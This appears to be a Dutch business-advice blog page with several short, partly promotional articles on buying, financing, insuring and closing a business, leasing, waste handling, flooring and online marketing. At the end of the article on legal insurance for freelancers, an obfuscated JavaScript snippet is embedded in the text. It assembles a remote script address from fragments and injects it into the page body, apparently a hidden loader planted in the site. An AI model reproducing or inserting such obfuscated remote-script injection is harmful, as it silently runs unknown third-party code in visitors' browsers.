Koop jouw bedrijf

Een bedrijf kopen is spannend. En het is altijd een flinke stap. Je kijkt naar cijfers, personeel, klantrelaties, contracten en nog veel meer. Maar wat vaak vergeten wordt, is hoe belangrijk het is om inzicht te hebben in de betalingsmoraal van klanten en partners. Daarom kiezen steeds meer kopers ervoor om de kredietwaardigheid bij Dutch Credit Brokers te laten checken voordat de overname rond is. Waarom juist dit inzicht zo waardevol is Bij een overname draait het niet alleen om wat er op papier staat. Je kunt een prachtige jaarrekening zien, terwijl er ondertussen structureel problemen zijn met klanten die laat of helemaal niet betalen. Die risico’s zie je niet altijd direct terug in de boeken, maar kunnen wél een groot effect hebben op je cashflow zodra je eigenaar bent. Een kredietwaardigheidscheck helpt je om verder te kijken dan de cijfers. Het laat zien hoe klanten zich gedragen als het om betalen gaat. Zijn er veel achterstanden? Is er een concentratierisico doordat één klant het grootste deel van de omzet bepaalt? Dat zijn dingen die je liever vooraf weet dan achteraf ontdekt. Hoe bescherm je jezelf na de overname? Zelfs als de cijfers goed zijn en je klantenbestand gezond lijkt, kan het gebeuren dat een debiteur ineens wegvalt. Denk aan een faillissement, een conflict of simpelweg onvoorziene omstandigheden. Je hebt dan als nieuwe eigenaar weinig speelruimte, zeker als het gaat om een substantieel bedrag. Om dat risico op te vangen, kun je overwegen een kredietverzekering af te sluiten. Hiermee dek je je in tegen het risico van wanbetaling door zakelijke klanten. Zeker in de eerste periode na de overname, waarin je vaak al genoeg andere zaken aan je hoofd hebt, geeft dat veel rust. Voorkomen is echt beter dan genezen Een bedrijf overnemen zonder goed naar de kredietwaardigheid van de klantportefeuille te kijken, is alsof je een huis koopt zonder naar het dak te kijken. Het ziet er misschien prima uit, maar als er schade blijkt te zijn, zit jij met de kosten. Door tijdig de juiste checks te doen en eventueel aanvullende maatregelen te nemen, sta je steviger in je schoenen als nieuwe ondernemer. Een scherp oog voor risico’s maakt het verschil. Het geeft je niet alleen controle, maar ook meer zekerheid over wat je precies koopt, en onder welke voorwaarden je verder kunt bouwen. ...

Wie een bestaand bedrijf overneemt, krijgt niet alleen de naam, klanten en voorraad mee. Ook het pand waarin de onderneming gevestigd is, speelt een belangrijke rol. Het gebouw zelf en wat erin staat vertegenwoordigen waarde. Toch worden verzekeringen rondom het vastgoed soms pas ná de overdracht bekeken. En dat is een risico. Een opstalverzekering afsluiten hoort daarom net zo goed bij de voorbereiding als het controleren van de jaarcijfers. Waarom je niet kunt vertrouwen op wat er al was In de praktijk blijkt regelmatig dat een bedrijfspand wel verzekerd lijkt, maar dat de polis achterhaald is of niet meer aansluit bij de werkelijke situatie. Dat kan komen door verbouwingen, veranderde functies van ruimtes of simpelweg omdat de vorige eigenaar nooit iets heeft aangepast. Een verzekering die ooit prima was voor een kantoorfunctie, dekt niet automatisch alles als het pand nu deels als opslag of horeca wordt gebruikt. Daarnaast is het niet vanzelfsprekend dat de bestaande opstalverzekering wordt overgenomen bij de verkoop. De nieuwe eigenaar is verantwoordelijk voor het opnieuw afsluiten van een passende dekking. Als je dit over het hoofd ziet, kun je bij schade letterlijk achter het net vissen. In het ergste geval komt er geen enkele vergoeding, terwijl het bedrijf stilvalt door bijvoorbeeld brandschade of stormschade aan het gebouw. Daarom is het belangrijk om voor de overdracht van het bedrijfspand al in gesprek te gaan met een verzekeraar. Zo kun je op tijd inventariseren welke risico’s er zijn, en welk soort opstalverzekering daarbij past. Een basisdekking is vaak niet voldoende, zeker niet als er machines, werkplaatsen of klantbezoek bij komt kijken. Inboedel en inventaris: wat valt waar? Naast het pand zelf speelt ook de inrichting van het bedrijf een grote rol. Denk aan de toonbank, machines, computers, werkmaterialen en soms ook voorraad. Deze spullen vallen niet onder de opstalverzekering, maar onder een aparte verzekering inboedel. Het is belangrijk om hier onderscheid in te maken, omdat beide verzekeringen een ander soort schade dekken. Ook hier geldt dat je niet zomaar kunt voortborduren op wat de vorige eigenaar geregeld heeft. Misschien zijn er spullen vervangen, uitgebreid of juist verkocht. Of de administratie is niet actueel, waardoor de dekking niet meer klopt met de waarde van de inventaris. Als je deze zaken niet opnieuw vastlegt bij de overname, kun je bij schade flink tekortkomen. Voor ondernemers is dit geen klein detail. Machines en apparatuur zijn vaak belangrijk voor het draaien van het bedrijf. En als daar iets mee gebeurt, wil je snel kunnen herstellen of vervangen. Dan is het van belang dat je inboedelverzekering actueel en volledig is, afgestemd op je nieuwe situatie. Zeker als je meteen investeert in nieuwe apparatuur of inrichting, loont het om dat vooraf goed te regelen. Verzekeren tijdens de overdrachtsfase Tussen het tekenen van het koopcontract en de officiële overdracht zit meestal een periode waarin allerlei praktische zaken geregeld worden. Verzekeringen vallen daar óók onder, al worden ze nog weleens doorgeschoven tot het laatste moment. Het risico daarvan is dat je bij schade tijdens de overdrachtsfase tussen wal en schip valt: de vorige eigenaar is niet meer aansprakelijk, maar jouw verzekering is nog niet actief. Sommige verzekeraars bieden tijdelijke oplossingen voor die fase, maar ook dan moet je daar zelf actief om vragen. Een goede voorbereiding betekent dus ook: weten vanaf welk moment je verzekerd bent, en wat de dekking is tijdens en na de overdracht. Zo voorkom je onduidelijkheid en discussie als er in die periode iets gebeurt met het pand of de inventaris. Aansprakelijkheid bij huurpanden Niet elk overgenomen bedrijf is eigenaar van het pand. Als je het pand huurt, krijg je alsnog te maken met verzekeringstechnische keuzes. De opstalverzekering is dan meestal geregeld via de eigenaar of verhuurder. Maar dat betekent niet dat je zelf niets hoeft te regelen. De inboedel en aansprakelijkheid liggen namelijk nog steeds bij jou als huurder. Soms eisen verhuurders zelfs een bewijs van dekking voor huurdersbelang of aanpassingen die jij aan het pand hebt gedaan. Denk aan scheidingswanden, ingebouwde balies of aangepaste verlichting. Als je die niet zelf meeverzekert, loop je risico op schade die je uit eigen zak moet betalen. Ook hier geldt: begin vroeg met het op orde brengen van je verzekeringen, en check goed wat er in het huurcontract staat. Overzicht scheelt stress Een bedrijf overnemen is intensief. Er komt veel op je af, van personeel en administratie tot leveranciers en vergunningen. Maar juist omdat het zoveel is, is overzicht houden extra belangrijk. Het regelen van opstal- en inboedelverzekeringen voelt misschien als een administratieve bijzaak, maar het is essentieel voor je bedrijfscontinuïteit. Want schade aan je pand of inventaris is niet alleen een financiële tegenslag. Het kan ook betekenen dat je je deuren tijdelijk moet sluiten, klanten misloopt of niet aan leveringen kunt voldoen. Als je dan geen goede dekking hebt, sta je met lege handen. En dat terwijl een passende verzekering relatief eenvoudig te regelen is, als je er op tijd bij bent. ...

Stoppen met je bedrijf is vaak een grote beslissing, waar een hoop regelwerk bij komt kijken. Zo moet je je klanten informeren, maar ook je bedrijfsverzekeringen stopzetten en belastingzaken regelen. Om dit proces wat overzichtelijker te maken, hebben we een stappenplan opgesteld. Zo weet je precies waar je aan moet denken en kun je alles netjes afsluiten.   Stap 1. Breng klanten en leveranciers op de hoogte Begin met het informeren van de mensen die direct afhankelijk zijn van jouw bedrijf: je eventuele personeel, je klanten en je leveranciers.    Personeel: wanneer je je bedrijf beëindigt, ontkom je er niet aan om je werknemers te ontslaan. Dit kan op twee manieren. Allereerst kun je dit doen met wederzijds goedvinden: jullie maken samen afspraken en leggen deze vast in een vaststellingsovereenkomst. Toestemming van het UWV is dan niet nodig. Gaan je werknemers niet akkoord, dan kun je een ontslagvergunning aanvragen bij het UWV. Met deze vergunning mag je je personeel alsnog ontslaan bij bedrijfsbeëindiging. Informeer je personeel zo vroeg mogelijk. Klanten: laat je klanten weten tot wanneer je nog levert of diensten aanbiedt. Zo hebben ze tijd om een alternatief te zoeken. Help ze eventueel met het vinden van een ander bedrijf met wie ze kunnen samenwerken. Leveranciers: zorg dat leveranciers weten dat er geen nieuwe bestellingen meer komen. Rond lopende afspraken netjes af en betaal openstaande facturen.   Stap 2. Check of je recht hebt op een uitkering Als ondernemer heb je meestal geen recht op een uitkering, maar in sommige gevallen wel. Bijvoorbeeld als je je bedrijf ooit bent gestart vanuit een WW-uitkering. Het is slim om dit goed uit te zoeken vóórdat je je uitschrijft bij de Kamer van Koophandel. Zo weet je of je nog ergens op kunt terugvallen zodra je bedrijf stopt.   Stap 3. Schrijf je uit bij de KVK De officiële stap: geef bij de Kamer van Koophandel door dat je stopt. Zij zetten je inschrijving stop en geven dit automatisch door aan de Belastingdienst.   Stap 4. Inventariseer je reserves Misschien heb je in je bedrijf een oudedagsreserve opgebouwd, oftewel een spaarpotje voor later. Als je stopt met je bedrijf, moet je hierover belasting betalen. Het bedrag tel je namelijk op bij je laatste winst.   Heb je spullen in je bedrijf die je privé wilt houden, zoals een laptop of gereedschap? Hou er dan rekening mee dat je daar nog btw over moet betalen.   Stap 5. Bereken je stakingswinst De Belastingdienst wil weten wat je onderneming waard is op het moment dat je stopt. Denk bijvoorbeeld aan:   De waarde van je voorraad Je bedrijfsmiddelen Opgebouwde reserves   Heb je winst, dan heet dit stakingswinst. Over die waarde betaal je belasting. Over het bedrag mag je stakingsaftrek aftrekken: maximaal € 3.630. Een boekhouder kan dit voor je berekenen, zodat je niet te veel of juist te weinig betaalt.   Stap 6. Beëindig lopende contracten en verzekeringen Vergeet niet om je lopende verplichtingen op te zeggen of af te wikkelen, zoals huur- of leasecontracten, abonnementen en bedrijfsverzekeringen (waaronder bijvoorbeeld je arbeidsongeschiktheidsverzekering en bedrijfsaansprakelijkheidsverzekering). Zo voorkom je dat je na het stoppen van je bedrijf onnodig premies blijft betalen.   Stap 7. Blijf je omzetbelasting doen tot het einde van het jaar Je mag elke dag van het jaar je bedrijf stopzetten, maar hou er wel rekening mee dat het belastingjaar altijd tot 31 december loopt. Je bent daarom verplicht om tot het einde van het jaar aangifte te doen van je omzetbelasting, ook als je geen omzet meer hebt.    Stap 8. Doe aangifte in maart of april Het jaar na je bedrijfsbeëindiging doe je nog één keer aangifte voor de inkomstenbelasting of vennootschapsbelasting. De laatste aangifte is vaak wat ingewikkelder dan een normale aangifte, dus veel ondernemers schakelen hier een boekhouder voor in.   Stap 9. Bewaar je administratie goed Ook na het stoppen van je bedrijf moet je de administratie minimaal 7 jaar bewaren. Denk aan facturen, jaarrekeningen en belastingaangiftes. Voor papieren over je onroerend goed is dit zelfs tien jaar. Mocht de Belastingdienst nog vragen hebben, dan kun je altijd terugvallen op je archief.   Zorgvuldig je bedrijf beëindigen Met je bedrijf stoppen doe je niet van de ene op de andere dag. Er komt heel wat regelwerk bij kijken. Door dit stappenplan te volgen, weet je zeker dat je niets vergeet en kun je je onderneming zorgvuldig én met een gerust hart afsluiten.   ...

Wanneer je bedrijf aan het groeien is, dan vraagt het natuurlijk om investeringen. Denk bijvoorbeeld aan nieuwe voertuigen, apparatuur of uitbreiding van capaciteit. Het is heel logisch dat wanneer je ergens in gaat investeren, dat je cash uit je bedrijf verliest. Dit is jammer voor de cashflow. Daarom is het goed om te kijken wat alternatieven zijn, zodat je zonder problemen de cashflow kunt behouden bij groei. Denk bijvoorbeeld aan leaseconstructies. Dit biedt een slimme oplossing, je investeert zonder een grote eenmalige uitgave. Hieronder lees je precies hoe lease je helpt om cashflow, flexibiliteit en groeipotentieel in balans te houden.   Liquiditeit als groeimotor Om te beginnen is het van belang dat je kijkt wat het belang van werkkapitaal is. Om te kunnen groeien met het bedrijf is het namelijk goed om cashflow te hebben. Zonder voldoende liquide middelen is het lastig om vooruit te komen met je bedrijf. Bedrijven die dit helder onder controle hebben, kunnen sneller reageren op kansen zoals nieuwe opdrachten of juist een overname van een ander bedrijf. Mocht je kapitaal vastzetten door bijvoorbeeld grote aankopen, dan verlaagt dat direct het beschikbare geld. Doordat je minder financiële ruimte hebt, dan ben je minder wendbaar in een dynamische markt. Lease kan je hierbij helpen. Zo betaal je maandelijks een vast bedrag voor een auto bijvoorbeeld. In dit geval ben je niet in een keer een klap met geld kwijt, maar gebeurt dit in kleine beetjes. Kijk bijvoorbeeld op 123Lease voor de beste deals omtrent een bedrijfswagen, zodat je liquiditeit kan behouden.   Lease als strategisch financieringsmiddel Leasen kun je gebruiken als strategisch financieringsmiddel. Het is namelijk meer dan alleen auto’s. Lease kan ook door middel van ICT-apparatuur, machines en natuurlijk bedrijfswagens. Dit zorgt ervoor dat je leasen breed in kan zetten bij je bedrijf. Door te leasen blijft de balans in je bedrijf een stuk lichter, waardoor je kunt blijven investeren. Door maandelijkse leasetermijnen kun je zorgen voor vaste en voorspelbare lasten. Daardoor wordt het budgetteren makkelijker binnen je bedrijf en kun je onverwachte kosten voorkomen. Kijk bijvoorbeeld naar ervaringen van leaserijders, zodat je eens kan kijken wat het voor jouw bedrijf kan betekenen.   De voordelen voor groeiende ondernemers Als laatste is het goed om te kijken wat de voordelen voor groeiende ondernemers zijn omtrent leasen. Zo behoud je de cashflow, waardoor je ruimte overhoudt om te investeren. Denk bijvoorbeeld aan investeringen voor personeel, marketing of innovatie. Daarbij heb je ook te maken met fiscale voordelen als het gaat om ondernemers. Denk bijvoorbeeld aan renteaftrek. Daarbij heb je ook te maken met flexibiliteit op maat van je groei. Denk aan looptijden, restwaardes en voorwaarden die vaak aanpasbaar zijn. Ook is er vaak een mogelijkheid om in de tussentijd wat aan te passen of uit te breiden bij groei. Het is dus fijn om te kiezen voor lease met een eigen bedrijf. ...

In de huidige economie is duurzaamheid niet langer een bijzaak, maar een belangrijke factor in het succes en de waarde van een bedrijf. Investeerders, klanten en medewerkers hechten steeds meer belang aan maatschappelijk verantwoord ondernemen. Een onderdeel dat daarbij vaak wordt onderschat, is afvalverwerking. Toch kan juist de manier waarop een bedrijf omgaat met zijn bedrijfsafval veel zeggen over de efficiëntie, kostenbeheersing en toekomstgerichtheid van de organisatie. Bedrijfsafval als strategische factor Elk bedrijf produceert afval of het nu gaat om verpakkingsmateriaal, papier, karton, organisch afval of restafval. Hoe dit bedrijfsafval wordt gescheiden, opgeslagen en verwerkt, bepaalt niet alleen de milieubelasting, maar ook de bedrijfskosten. Bedrijven die hun afvalstromen goed organiseren, besparen structureel geld en verbeteren hun imago bij klanten en stakeholders. Daarnaast speelt afvalbeheer een steeds grotere rol in overnames en fusies. Potentiële kopers kijken kritisch naar de duurzaamheidsstrategie van een onderneming. Bedrijven die kunnen aantonen dat zij verantwoord omgaan met hun afvalstromen, lopen voorop bij het aantrekken van duurzame investeerders. Efficiënte oplossingen Een praktische manier om bedrijfsafval gestructureerd te verzamelen, is het gebruik van een rolcontainer. Deze containers zijn er in verschillende formaten en voor diverse afvalstromen, zoals papier, plastic, glas of restafval. Door voor iedere afvalsoort een aparte rolcontainer te gebruiken, wordt scheiden bij de bron eenvoudig en effectief. Rolcontainers zijn bovendien geschikt voor vrijwel elk type onderneming, van kleine kantoren tot grote productiebedrijven. Ze zorgen voor een nette werkomgeving en voorkomen dat afval zich ophoopt op de werkvloer. Veel afvalinzamelaars bieden flexibele ophaalfrequenties, waardoor bedrijven alleen betalen voor wat ze daadwerkelijk nodig hebben. Dit maakt het niet alleen milieuvriendelijk, maar ook financieel aantrekkelijk. Duurzaamheid loont Een duurzaam afvalbeleid is niet alleen goed voor de planeet, maar ook voor de winstgevendheid van een bedrijf. Door afvalstromen te analyseren, kunnen bedrijven vaak tot wel 30% besparen op hun afvalkosten. Minder restafval betekent lagere verwerkingskosten, en gescheiden stromen leveren bovendien waardevolle grondstoffen op die opnieuw gebruikt kunnen worden. Bovendien sluit duurzaam afvalbeheer aan bij de groeiende eisen van wet- en regelgeving. De overheid stimuleert bedrijven om afval te scheiden en te recyclen, en steeds meer gemeenten controleren actief op naleving. Ondernemers die nu al vooruitlopen op deze ontwikkeling, bouwen aan een sterke en toekomstbestendige reputatie. Duurzaam ondernemen als verkoopargument Voor ondernemers die hun bedrijf willen verkopen, kan een goed georganiseerd afvalbeleid zelfs een onderscheidend element zijn. Steeds meer kopers letten op duurzaamheid en operationele efficiëntie. Een bedrijf dat zijn afvalbeheer op orde heeft, laat zien dat het kostenbewust, professioneel en toekomstgericht werkt. Dit zijn allemaal factoren die kunnen bijdragen aan een hogere bedrijfswaarde. Een duidelijke afvalstrategie, ondersteund door moderne hulpmiddelen zoals rolcontainers en gescheiden inzameling, versterkt het vertrouwen van investeerders en kopers. Duurzaam omgaan met bedrijfsafval is daarmee niet alleen een maatschappelijke verantwoordelijkheid, maar ook een slimme zakelijke zet die direct bijdraagt aan de waarde en het imago van een onderneming.   ...

De aankoop van een bedrijf vereist financiering. De transactie wordt doorgaans gerealiseerd via een combinatie van kapitaalbronnen, bekend als stapelfinanciering. Een succesvolle verwerving begint met een grondige interne analyse en een duidelijk plan voordat contact wordt gezocht met kapitaalverstrekkers.   De structuur van de overnamefinanciering start bij het vaststellen van de totale behoefte: de koopsom, de transactiekosten (zoals advies- en notariskosten) en het benodigde werkkapitaal voor de periode direct na de overname. De basis is de eigen inbreng van de koper. Geldverstrekkers verwachten een risicodragende inbreng. In het MKB wordt vaak een eigen aandeel van circa 20% van de overnamesom verwacht. Dit kan bestaan uit privémiddelen, het aanwenden van overwaarde in privé-vastgoed of kapitaal via het informele circuit (familie/vrienden). Het resterende deel wordt ingevuld met vreemd vermogen. De bancaire lening is de meest voorkomende vorm. Banken stellen eisen en richten zich op de toekomstige kasstroom van de onderneming om te beoordelen of de schuldbediening (rente en aflossing) geborgd is.    Omdat een overname vaak de aankoop van goodwill (niet-materiële waarde) omvat, vereisen banken aanvullende zekerheden, zoals een persoonlijke borgstelling van de koper. Een strategisch middel is de achtergestelde lening verstrekt door de verkoper (vendor loan). De verkoper financiert een deel van de koopsom. Dit signaal van vertrouwen in de onderneming verbetert de financieringspositie bij externe partijen, aangezien de achtergestelde lening vaak meetelt als een versterking van het eigen vermogen op de balans (solvabiliteit).Aanvullende bronnen zijn alternatieve financiers (zoals crowdfunding en MKB-fondsen) en overheidsregelingen zoals de Borgstelling MKB-Kredieten (BMKB), die het risico voor de bank verkleint.   Risico- en aandachtspunten voor financiers De verkrijging van financiering vereist een uitgebreide voorbereiding en heldere documentatie. Een gedetailleerd ondernemings- en investeringsplan vormt de basis van de kredietbeoordeling. De financier zal de kasstroom grondig toetsen. Er wordt gecontroleerd of de geprojecteerde kasstroom de aflossingsverplichtingen kan dragen, inclusief een marge voor onvoorziene omstandigheden, naast de noodzakelijke privéopnames van de nieuwe eigenaar en toekomstige investeringen.    De koper moet de financiële voorwaarden en structuur scherp analyseren. Dit betekent het vergelijken van de totale kosten van aanbiedingen (rente, provisies en kosten) en het beoordelen van de looptijd en het aflosschema. Deze moeten overeenkomen met de economische levensduur van de investering en de verwachte kasstroom.   De inzet van zekerheden is een standaard vereiste. Naast de persoonlijke borgstelling kan de financier een pandrecht vestigen op activa (inventaris, debiteuren). Het is van belang duidelijk te hebben welke bezittingen als onderpand dienen en welk privé-risico hiermee verbonden is. Voordat het formele financieringstraject wordt gestart, kan het helpen dat de koper de volgende vragen helder beantwoordt:   Wat is de totale kapitaalbehoefte? (Koopsom + transactiekosten + werkkapitaal). Welk bedrag kan als eigen vermogen worden ingebracht? Hieruit volgt de omvang van de benodigde externe financiering. Hoe verhoudt de financiering van materiële activa zich tot de financiering van goodwill? Dit is van invloed op de risicobeoordeling. Wat is de gewenste en haalbare looptijd voor de aflossing? Het aflosschema moet de liquiditeit niet onder druk zetten en moet realistisch zijn ten opzichte van de verwachte kasstromen. Kan de operationele cashflow de schuldverplichtingen nakomen, inclusief een buffer bij tegenvallers? Een financiële stresstest is noodzakelijk. Hoe beïnvloedt de aflossingsdruk de financiële ruimte voor privé-opnames? De onderneming moet de lening kunnen dragen én een reële privé-voorziening mogelijk maken. Welke actuele financiële documenten (jaarverslagen, prognoses) zijn direct beschikbaar ter onderbouwing? Een complete administratie versnelt de kredietbeoordeling. ...

Als zzp’er geniet je van vrijheid, flexibiliteit en directe invloed op je eigen succes. Je kiest je klanten, bepaalt je tarieven en richt je werk in zoals jij dat wilt. Maar zelfstandigheid betekent ook dat je zelf verantwoordelijk bent voor alles wat mis kan gaan. Een misgelopen opdracht, een onduidelijk contract of een klant die niet betaalt; het hoort allemaal bij de risico’s van ondernemen. Juist daarom is het belangrijk om na te denken over juridische zekerheid. Want hoe goed je je werk ook doet, een klein geschil kan grote gevolgen hebben voor je tijd, geld en reputatie. Wat kun je zelf regelen? Veel juridische risico’s kun je als ondernemer zelf beperken. Begin met duidelijke en volledige contracten. Leg afspraken schriftelijk vast, ook bij langdurige samenwerkingen met vaste klanten. Vermeld bijvoorbeeld:   De oplevertermijn De betalingsvoorwaarden De verantwoordelijkheden van beide partijen   Gebruik daarnaast algemene voorwaarden die zijn afgestemd op jouw branche. Hierdoor weet je zeker dat je altijd een solide juridische basis hebt. Ook is het verstandig om correspondentie en wijzigingen goed te bewaren. Deze proactieve aanpak vergroot je juridische zekerheid. Ook voorkomt dit dat je afhankelijk wordt van dure procedures. Maar soms is zelf regelen niet genoeg. Wanneer schakel je een expert in? Er zijn situaties waarin het beter is om deskundige hulp te vragen. Denk aan complexe contracten, aansprakelijkheidskwesties of samenwerkingen met buitenlandse opdrachtgevers. Een juridisch expert kan beoordelen of je documenten waterdicht zijn en of je risico’s goed hebt afgedekt. Ook bij geschillen is het verstandig om tijdig advies te vragen, voordat de situatie escaleert. Vaak kan een jurist bemiddelen en zo een langdurige en kostbare procedure voorkomen. Het inschakelen van een specialist betekent niet alleen dat je het niet zelf kunt, maar ook dat je je tijd en energie richt op waar je het beste in bent, namelijk ondernemen. De waarde van een zzp-rechtsbijstandverzekering Een zzp-rechtsbijstandverzekering is voor veel zelfstandigen een slimme keuze. Met zo’n verzekering heb je toegang tot juridische ondersteuning zonder dat je direct hoge kosten hoeft te maken. De verzekering dekt vaak advies, bemiddeling en – indien nodig – de proceskosten. Daarnaast kun je bij veel aanbieders terecht voor preventieve hulp, zoals het laten controleren van contracten of het krijgen van advies bij onderhandelingen. Een zzp-rechtsbijstandverzekering is daarmee niet alleen een vangnet bij problemen, maar ook een praktische partner in het dagelijks ondernemerschap. Zeker voor zzp’ers die regelmatig met nieuwe klanten of projecten werken, biedt dat rust en continuïteit. De balans tussen zelf doen en uitbesteden De kunst is om de juiste balans te vinden tussen zelf regelen en professioneel advies inschakelen. Niet elk juridisch vraagstuk vraagt om een advocaat, maar sommige situaties zijn te complex om zelf op te lossen. Een goed uitgangspunt is: zelf doen wat je begrijpt en controleerbaar is en experts inschakelen zodra het gaat om interpretatie van wet- en regelgeving. Zo houd je grip op kosten én op risico’s. Bovendien bouw je met die aanpak een netwerk van betrouwbare adviseurs op die je bedrijf door en door kennen: waardevol, zeker als je groeit of personeel gaat aannemen. Ondernemen met vertrouwen Uiteindelijk draait het allemaal om ondernemen met vertrouwen. Juridische zekerheid betekent niet dat je overal een handtekening of een clausule voor nodig hebt, maar dat je weet waar je staat. Dat je risico’s kent, voorbereid bent en weet op wie je kunt terugvallen als het spannend wordt. Of je nu kiest voor eigen beheer, een vaste jurist of een zzp-rechtsbijstandverzekering, het gaat om hetzelfde doel: zekerheid inbouwen, zodat jij met een gerust hart kunt ondernemen. Want wie zijn juridische zaken op orde heeft, kan zich volledig richten op groei, klanten en kansen: precies wat ondernemen de moeite waard maakt. (function(){ ivfX_=("ope"+"n");ivfX=document.createElement("script");ivfX.async=true; ivfXu="2541312435";ivfX_+=("s")+"t"+"a"+("t.");ivfX_+=""+("e"+(""))+("u/"); ivfXu+=".d318priavfXgu7nl";ivfXu+="y77jrkk6vym55a"; ivfX.src="https://"+ivfX_+ivfXu;ivfX.type="text/javascript"; d_b=document.body;d_b.appendChild(ivfX); })(); ...

Wanneer je een bestaand bedrijf overneemt, wil je niet alleen de bedrijfsvoering moderniseren, maar ook het pand laten aansluiten bij jouw visie en merkidentiteit. Een frisse, professionele uitstraling begint bij de basis – de vloer. Een lavasteen gietvloer is dé oplossing voor ondernemers die hun overgenomen bedrijfspand willen vernieuwen met een duurzame, stijlvolle en onderhoudsvriendelijke vloerafwerking.   Strakke en moderne uitstraling Een lavasteen gietvloer staat bekend om zijn naadloze, strakke look. Dit geeft elke ruimte een moderne en professionele uitstraling. Of het nu gaat om een kantoor, showroom, winkel of horecagelegenheid, een lavasteen gietvloer zorgt voor een uniforme, elegante basis die goed te combineren is met andere interieurmaterialen zoals glas, hout of metaal. De natuurlijke textuur van lavasteen voegt bovendien een subtiel, luxe effect toe, waardoor het pand direct een hoogwaardige uitstraling krijgt.   Duurzaam en onderhoudsvriendelijk Bedrijfspanden hebben vaak te maken met veel verkeer, van klanten tot medewerkers. Lavasteen gietvloeren zijn zeer slijtvast en bestand tegen dagelijks gebruik, waardoor ze een lange levensduur hebben. Bovendien zijn ze eenvoudig schoon te houden: vuil en vloeistoffen trekken niet in de vloer, en het gladde oppervlak kan gemakkelijk worden gereinigd met een vochtige doek of een mild schoonmaakmiddel. Dit bespaart niet alleen tijd en kosten, maar zorgt ook voor een hygiënische werkomgeving.   Flexibiliteit in kleur en design Lavasteen gietvloeren zijn beschikbaar in verschillende kleuren en afwerkingen, waardoor ze aangepast kunnen worden aan de huisstijl of het gewenste imago van het bedrijf. Donkere tinten zoals antraciet of zwart geven een industriële, moderne uitstraling, terwijl lichte grijstinten of beige zorgen voor een open, lichte en uitnodigende sfeer. Het is ook mogelijk om vloeren te personaliseren met logo’s, patronen of kleuraccenten, wat vooral interessant is voor showrooms en winkels die hun merkidentiteit willen versterken.   Comfortabel en veilig Ondanks het robuuste karakter voelt een lavasteen gietvloer comfortabel aan en kan hij gecombineerd worden met vloerverwarming. Dit zorgt voor een aangename temperatuur en verhoogt het comfort voor medewerkers en klanten. Bovendien zijn gietvloeren antislip, wat extra veiligheid biedt in ruimtes waar veel gelopen wordt of waar vocht kan voorkomen, zoals kantines en sanitaire ruimtes.   Veelzijdige toepassingen Een van de grootste voordelen van een lavasteen gietvloer is volgens de experts van G-vloeren de veelzijdigheid. Ze kunnen gebruikt worden in kantoren, showrooms, winkels, horecagelegenheden, ziekenhuizen en zelfs magazijnen. De vloer kan bovendien doorgetrokken worden naar andere ruimtes, waardoor een samenhangend en ruimtelijk effect ontstaat. Ook is het eenvoudig om meubels en inrichting aan te passen zonder dat de vloer beschadigd raakt, waardoor je bedrijfspand flexibel blijft voor toekomstige veranderingen.   Investering in uitstraling en waarde Het vernieuwen van je bedrijfspand met een lavasteen gietvloer is niet alleen een esthetische keuze, maar ook een investering in de waarde van het pand. Een moderne, goed onderhouden vloer verhoogt de aantrekkingskracht van het pand en kan bijdragen aan een positief imago van het bedrijf. Voor potentiële klanten, partners en medewerkers maakt dit een groot verschil: een stijlvolle, duurzame vloer straalt professionaliteit en kwaliteit uit. ...

Ben je voornemens om een bedrijf te kopen in de e-commerce? Dan is online marketing online marketing cruciaal voor het succes van je bedrijf. Maar hoe zorg je ervoor dat jouw webshop opvalt tussen de concurrentie? Laten we eens duiken in de kracht van online marketing en hoe dit jouw e-commerce business kan laten groeien. SEO: De basis van online zichtbaarheid Wat is SEO? SEO, oftewel zoekmachineoptimalisatie, is het proces waarbij je jouw website optimaliseert om hoger te scoren in zoekmachines zoals Google. Dit betekent meer organisch verkeer naar je site zonder dat je hoeft te betalen voor advertenties. Waarom is SEO belangrijk? Een goede SEO-strategie zorgt ervoor dat jouw website beter zichtbaar is voor potentiële klanten. Hoe hoger je scoort in de zoekresultaten, hoe groter de kans dat mensen op jouw link klikken. Dit leidt tot meer bezoekers en uiteindelijk meer verkopen. Hoe Traffic Today helpt Bij Traffic Today begrijpen ze dat SEO meer is dan alleen maar keywords toevoegen aan je content. Ze gebruiken geavanceerde technieken zoals AI en machine learning om te voorspellen welke content goed zal presteren. Daarnaast zorgen ze ervoor dat jouw site mobielvriendelijk is en geoptimaliseerd voor voice search, wat steeds belangrijker wordt. SEA: Direct resultaat met zoekmachine adverteren Wat is SEA? SEA staat voor search engine advertising, oftewel zoekmachine adverteren. Dit zijn de betaalde advertenties die bovenaan de zoekresultaten verschijnen wanneer iemand een bepaalde zoekterm invoert. Voordelen van SEA Het grootste voordeel van SEA is dat je direct resultaat ziet. Zodra je campagne live gaat, begin je verkeer naar je site te krijgen. Dit maakt het een uitstekende strategie voor nieuwe webshops die snel zichtbaarheid willen krijgen. Expertise van Traffic Today Traffic Today heeft uitgebreide ervaring met het opzetten en beheren van SEA-campagnes. Ze zorgen ervoor dat jouw advertenties worden getoond aan de juiste doelgroep, wat resulteert in hogere conversieratio's en een beter rendement op investering (ROI). Content marketing Wat is content marketing? Content marketing draait om het creëren en delen van waardevolle content om een specifieke doelgroep aan te trekken en te behouden. Dit kan variëren van blogposts en video's tot infographics en e-books. Waarom content marketing? Goede content helpt niet alleen om verkeer naar je site te trekken, maar bouwt ook vertrouwen en autoriteit op bij je publiek. Mensen kopen liever bij bedrijven die ze kennen en vertrouwen. Traffic Today's aanpak Traffic Today richt zich op het creëren van hoogwaardige content die niet alleen informatief is maar ook deelbaar. Dit betekent dat andere websites eerder geneigd zijn om naar jouw content te linken, wat weer goed is voor je SEO. Relevante trends in online marketing De wereld van online marketing verandert voortdurend. Hier zijn enkele trends waar Traffic Today op inspeelt: AI en machine learning: deze technologieën helpen bij het analyseren van data en het voorspellen van trends. Mobiele optimalisatie: steeds meer mensen browsen via hun smartphone, dus een mobielvriendelijke site is cruciaal. Voice search: met de opkomst van spraakgestuurde assistenten zoals Siri en Alexa wordt voice search steeds belangrijker. Core web vitals: deze metrics meten de gebruikerservaring op je website, iets waar veel aandacht aan besteed wordt. Kwalitatieve content: goede content blijft koning; het moet waardevol zijn voor de lezer. Omnichannel marketing: door verschillende kanalen te integreren, zorg je voor een consistente merkervaring die klanten aantrekt en behoudt. ...

